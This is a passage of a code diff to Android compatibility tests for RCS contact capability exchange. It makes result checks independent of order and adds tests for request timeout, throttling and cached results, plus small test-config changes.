+                REQUEST_RESULT_FOUND, true, false);
+
+        // Verify contact3's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact: " + contact3, resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -1156,6 +1239,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
 
         // The request should not be called because the capabilities should be retrieved from cache.
         capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
@@ -1166,18 +1250,33 @@
 
         // Verify that all the three contact's capabilities are received
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact1, capability);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+        assertNotNull("Cannot receive the first capabilities result.", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Cannot receive the second capabilities result.", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Cannot receive the third capabilities result.", capability);
+        resultCapList.add(capability);
+
+        // Verify contact1's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact: " + contact1, resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
                 true, true);
 
-        capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact2, capability);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+        // Verify contact2's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact: " + contact2, resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
                 true, false);
 
-        capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact3, capability);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+        // Verify contact3's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact: " + contact3, resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
                 false, false);
 
         // Verify the onCompleted is called
@@ -1187,6 +1286,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         overrideCarrierConfig(null);
@@ -1859,6 +1959,7 @@
         // Override the carrier config of SIP 489 request forbidden.
         PersistableBundle bundle = new PersistableBundle();
         bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_REQUEST_FORBIDDEN_BY_SIP_489_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_GROUP_SUBSCRIBE_BOOL, true);
         overrideCarrierConfig(bundle);
 
         // Connect to the ImsService
@@ -1927,50 +2028,17 @@
                 } else if (sipCode == sipCodeBadEvent) {
                     assertTrue(retryAfterMillis > 0L);
                 }
-
-                // Verify the ImsService received the capabilities request.
-                assertEquals(1, subscribeRequestCount.get());
             } catch (Exception e) {
                 fail("testForbiddenResponseToCapabilitiesRequest with command error failed: " + e);
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                capabilityQueue.clear();
+                completeQueue.clear();
                 subscribeRequestCount.set(0);
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
-
-            // Prepare the network response with sip code 200 OK
-            capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
-                subscribeRequestCount.incrementAndGet();
-                cb.onNetworkResponse(200, "OK");
-            });
-
-            try {
-                // Request contact uce capabilities again.
-                requestCapabilities(uceAdapter, contacts, callback);
-
-                // Verify that the callback "onError" is called with the error code FORBIDDEN
-                assertEquals(RcsUceAdapter.ERROR_FORBIDDEN, waitForIntResult(errorQueue));
-                // Verify the retryAfter value
-                long retryAfterMillis = waitForLongResult(retryAfterQueue);
-                if (sipCode == sipCodeForbidden) {
-                    assertEquals(0L, retryAfterMillis);
-                } else if (sipCode == sipCodeBadEvent) {
-                    assertTrue(retryAfterMillis > 0L);
-                }
-
-                // Verify that the capabilities won't be send to the ImsService because the
-                // uce request is forbidden.
-                assertEquals(0, subscribeRequestCount.get());
-            } catch (Exception e) {
-                fail("testForbiddenResponseToCapabilitiesRequest with command error failed: " + e);
-            } finally {
-                errorQueue.clear();
-                retryAfterQueue.clear();
-                subscribeRequestCount.set(0);
-            }
-
-            // Reset the device status
-            removeUceRequestDisallowedStatus();
         });
 
         overrideCarrierConfig(null);
@@ -2239,6 +2307,7 @@
             completeQueue.clear();
             capabilityQueue.clear();
             removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
             setCapabilitiesRequestTimeout(-1L);
         }
 
@@ -2264,12 +2333,115 @@
             completeQueue.clear();
             capabilityQueue.clear();
             removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
             setCapabilitiesRequestTimeout(-1L);
         }
 
         overrideCarrierConfig(null);
     }
 
+    @Test
+    public void testRequestTimeoutWithPresenceMechanism() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* OPTIONS */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Long> errorRetryQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+                errorRetryQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // Prepare the test contact
+        Collection<Uri> contacts = new ArrayList<>();
+        contacts.add(sTestNumberUri);
+
+        // Setup the ImsService doesn't trigger any callbacks.
+        AtomicInteger subscribeRequestCount = new AtomicInteger(0);
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            subscribeRequestCount.incrementAndGet();
+            // It won't trigger any callbacks to the framework.
+        });
+
+        // Set the timeout for 3 seconds
+        setCapabilitiesRequestTimeout(3000L);
+
+        // Request capabilities
+        requestCapabilities(uceAdapter, contacts, callback);
+
+        try {
+            // Verify the error code REQUEST_TIMEOUT is received
+            assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(errorRetryQueue));
+
+            // Verify the capabilities can still be received.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            completeQueue.clear();
+            capabilityQueue.clear();
+            subscribeRequestCount.set(0);
+        }
+
+        // Request the capabilities with the same contact again.
+        requestCapabilities(uceAdapter, contacts, callback);
+
+        try {
+            // Verify that the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+
+            // Verify the complete callback will be called.
+            waitForResult(completeQueue);
+
+            // Verify that the ImsService didn't received the request because the capabilities
+            // should be retrieved from the cache.
+            assertEquals(0, subscribeRequestCount.get());
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            completeQueue.clear();
+            capabilityQueue.clear();
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
+            subscribeRequestCount.set(0);
+            setCapabilitiesRequestTimeout(-1L);
+        }
+
+        overrideCarrierConfig(null);
+    }
 
     @Test
     public void testTimeoutToRequestCapabilitiesWithOptionsMechanism() throws Exception {
@@ -2412,22 +2584,40 @@
 
         requestCapabilities(uceAdapter, contacts, callback);
 
+        List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
         // Verify that all the three contact's capabilities are received
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact1SipScheme,
-                capability);
-        verifyCapabilityResult(capability, contact1SipScheme, SOURCE_TYPE_NETWORK,
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
+
+
+        // Verify the first contact capabilities from the received capabilities list
+        RcsContactUceCapability resultCapability =
+                getContactCapability(resultCapList, contact1SipScheme);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1SipScheme, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_FOUND, true, true);
 
-        capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact2, capability);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, false);
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, false);
 
-        capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact3, capability);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                false, false);
+        // Verify the third contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -2436,6 +2626,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         // Setup the callback that some of the contacts are terminated.
@@ -2447,16 +2638,34 @@
 
         // Verify the contacts are not found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact1TelScheme, SOURCE_TYPE_NETWORK,
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1TelScheme);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1TelScheme, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_NOT_FOUND, false, false);
 
-        capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
-        capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -2465,6 +2674,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         // Setup the callback that some of the contacts are terminated.
@@ -2488,17 +2698,35 @@
 
         // Verify the first contact is found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact1SipScheme, SOURCE_TYPE_NETWORK,
-                REQUEST_RESULT_FOUND, true, true);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         // Verify the reset contacts are not found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                true, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1SipScheme);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1SipScheme, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, true);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, true, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -2633,6 +2861,352 @@
         overrideCarrierConfig(null);
     }
 
+    @Test
+    public void testContactInThrottlingState() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+        // Reset the UCE device state.
+        removeUceRequestDisallowedStatus();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* options */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Long> errorRetryQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+                errorRetryQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // Prepare the test contact
+        Collection<Uri> numbers = new ArrayList<>(1);
+        numbers.add(sTestNumberUri);
+
+        // Setup the network response is 408 Request Timeout.
+        int networkRespCode = 408;
+        String networkRespReason = "Request Timeout";
+        AtomicInteger subscribeRequestCount = new AtomicInteger(0);
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            subscribeRequestCount.incrementAndGet();
+            cb.onNetworkResponse(networkRespCode, networkRespReason);
+        });
+
+        // Request contact capabilities
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the callback "onError" is called with the expected error code.
+        try {
+            assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(errorRetryQueue));
+            // Verify the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            // Verity the ImsService received the request.
+            assertTrue(subscribeRequestCount.get() > 0);
+        } catch (Exception e) {
+            fail("testContactsInThrottlingState with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            subscribeRequestCount.set(0);
+        }
+
+        // Request the capabilities again with the same contact.
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the result.
+        try {
+            // Verify that the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_CACHED,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            // Verify the complete callback will be called.
+            waitForResult(completeQueue);
+            // Verify that the ImsService didn't received the request because the capabilities
+            // should be retrieved from the cache.
+            assertEquals(0, subscribeRequestCount.get());
+        } catch (Exception e) {
+            fail("testContactsInThrottlingState with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            subscribeRequestCount.set(0);
+            // reset the cache and throttling list
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
+        }
+
+        // Request availability.
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+        // Verify that the callback "onError" is called with the expected error code.
+        try {
+            assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(errorRetryQueue));
+            // Verify the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            // Verity the ImsService received the request.
+            assertTrue(subscribeRequestCount.get() > 0);
+        } catch (Exception e) {
+            fail("requestAvailability with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            subscribeRequestCount.set(0);
+        }
+
+        // Request availability again with the same contact.
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+        // Verify that the callback "onError" is called with the expected error code.
+        try {
+            // Verify that the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_CACHED,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            // Verify the complete callback will be called.
+            waitForResult(completeQueue);
+            // Verify that the ImsService didn't received the request because the capabilities
+            // should be retrieved from the cache.
+            assertEquals(0, subscribeRequestCount.get());
+        } catch (Exception e) {
+            fail("testContactsInThrottlingState with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            subscribeRequestCount.set(0);
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
+        }
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testRequestResultInconclusive() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+        // Reset the UCE device state.
+        removeUceRequestDisallowedStatus();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* options */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Long> errorRetryQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+                errorRetryQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // In the first round, prepare the test account
+        Collection<Uri> numbers = new ArrayList<>();
+        numbers.add(sTestNumberUri);
+
+        ArrayList<String> pidfXmlList = new ArrayList<>();
+        pidfXmlList.add(getPidfXmlData(sTestNumberUri, true, true));
+
+        // Setup the network response is 200 OK for the first request
+        final int networkRespCode200 = 200;
+        final String networkRespReasonOK = "OK";
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            cb.onNetworkResponse(networkRespCode200, networkRespReasonOK);
+            cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+            cb.onTerminated("", 0L);
+        });
+
+        // Request contact capabilities
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the contact capability is received and the onCompleted is called.
+        try {
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_FOUND, true, true);
+            waitForResult(completeQueue);
+        } catch (Exception e) {
+            fail("testRequestResultInconclusive with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            numbers.clear();
+            pidfXmlList.clear();
+        }
+
+        // Request the second contacts and this time, the network respons is 408 Request Timeout
+        numbers.add(sTestContact2Uri);
+
+        final int networkRespCode408 = 408;
+        final String networkRespReasonTimeout = "Request Timeout";
+        AtomicInteger subscribeRequestCount = new AtomicInteger(0);
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            subscribeRequestCount.incrementAndGet();
+            cb.onNetworkResponse(networkRespCode408, networkRespReasonTimeout);
+        });
+
+        // Request contact capabilities again with different contact
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the callback "onError" is called with the expected error code.
+        try {
+            assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(errorRetryQueue));
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestContact2Uri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            assertTrue(subscribeRequestCount.get() > 0);
+        } catch (Exception e) {
+            fail("testRequestResultInconclusive with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            numbers.clear();
+            pidfXmlList.clear();
+            subscribeRequestCount.set(0);
+        }
+
+        // Request three contacts at a time in the third round.
+        numbers.add(sTestNumberUri);
+        numbers.add(sTestContact2Uri);
+        numbers.add(sTestContact3Uri);
+
+        // The first two contact capabilities can be retrieved from the cache. However, the third
+        // contact capabilities will be provided by the ImsService
+        pidfXmlList.add(getPidfXmlData(sTestContact3Uri, true, true));
+
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            subscribeRequestCount.incrementAndGet();
+            assertNotNull("The uris of capabilities request cannot be null", uris);
+            List<Uri> uriList = new ArrayList(uris);
+            // Verify that only uri need to be queried from the network
+            assertEquals(1, uriList.size());
+            assertEquals(sTestContact3Uri, uriList.get(0));
+            cb.onNetworkResponse(networkRespCode200, networkRespReasonOK);
+            cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+            cb.onTerminated("", 0L);
+        });
+
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
+        // Verify that the contact capability is received and the onCompleted is called.
+        try {
+            RcsContactUceCapability capability1 = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability1);
+            resultCapList.add(capability1);
+
+            RcsContactUceCapability capability2 = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability2);
+            resultCapList.add(capability2);
+
+            RcsContactUceCapability capability3 = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability3);
+            resultCapList.add(capability3);
+
+            // Verify contact1's capabilities from the received capabilities list
+            RcsContactUceCapability resultCapability =
+                    getContactCapability(resultCapList, sTestNumberUri);
+            assertNotNull("Cannot find the contact", resultCapability);
+            verifyCapabilityResult(resultCapability, sTestNumberUri, SOURCE_TYPE_CACHED,
+                    REQUEST_RESULT_FOUND, true, true);
+
+            // Verify contact2's capabilities from the received capabilities list
+            resultCapability = getContactCapability(resultCapList, sTestContact2Uri);
+            assertNotNull("Cannot find the contact", resultCapability);
+            verifyCapabilityResult(resultCapability, sTestContact2Uri, SOURCE_TYPE_CACHED,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+
+            // Verify contact3's capabilities from the received capabilities list
+            resultCapability = getContactCapability(resultCapList, sTestContact3Uri);
+            assertNotNull("Cannot find the contact", sTestContact3Uri);
+            verifyCapabilityResult(resultCapability, sTestContact3Uri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_FOUND, true, true);
+
+            // Verify the onCompleted is called
+            waitForResult(completeQueue);
+
+        } catch (Exception e) {
+            fail("testRequestResultInconclusive with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            numbers.clear();
+            pidfXmlList.clear();
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
+        }
+
+        overrideCarrierConfig(null);
+    }
+
     private void setupTestImsService(RcsUceAdapter uceAdapter, boolean presencePublishEnabled,
             boolean presenceCapExchangeEnabled, boolean sipOptionsEnabled) throws Exception {
         // Trigger carrier config changed
@@ -2670,6 +3244,17 @@
         return pidfBuilder.toString();
     }
 
+    private RcsContactUceCapability getContactCapability(
+            List<RcsContactUceCapability> resultCapList, Uri targetUri) {
+        if (resultCapList == null) {
+            return null;
+        }
+        return resultCapList.stream()
+            .filter(capability -> targetUri.equals(capability.getContactUri()))
+            .findFirst()
+            .orElse(null);
+    }
+
     private void verifyCapabilityResult(RcsContactUceCapability resultCapability, Uri expectedUri,
             int expectedSourceType, int expectedResult, boolean expectedAudioSupported,
             boolean expectedVideoSupported) {
diff --git a/tests/tests/telephony2/AndroidTest.xml b/tests/tests/telephony2/AndroidTest.xml
index e8454b6..d726d34 100644
--- a/tests/tests/telephony2/AndroidTest.xml
+++ b/tests/tests/telephony2/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelephony2TestCases.apk" />
diff --git a/tests/tests/telephony3/AndroidTest.xml b/tests/tests/telephony3/AndroidTest.xml
index 7ba44ac..70dd6ef 100644
--- a/tests/tests/telephony3/AndroidTest.xml
+++ b/tests/tests/telephony3/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
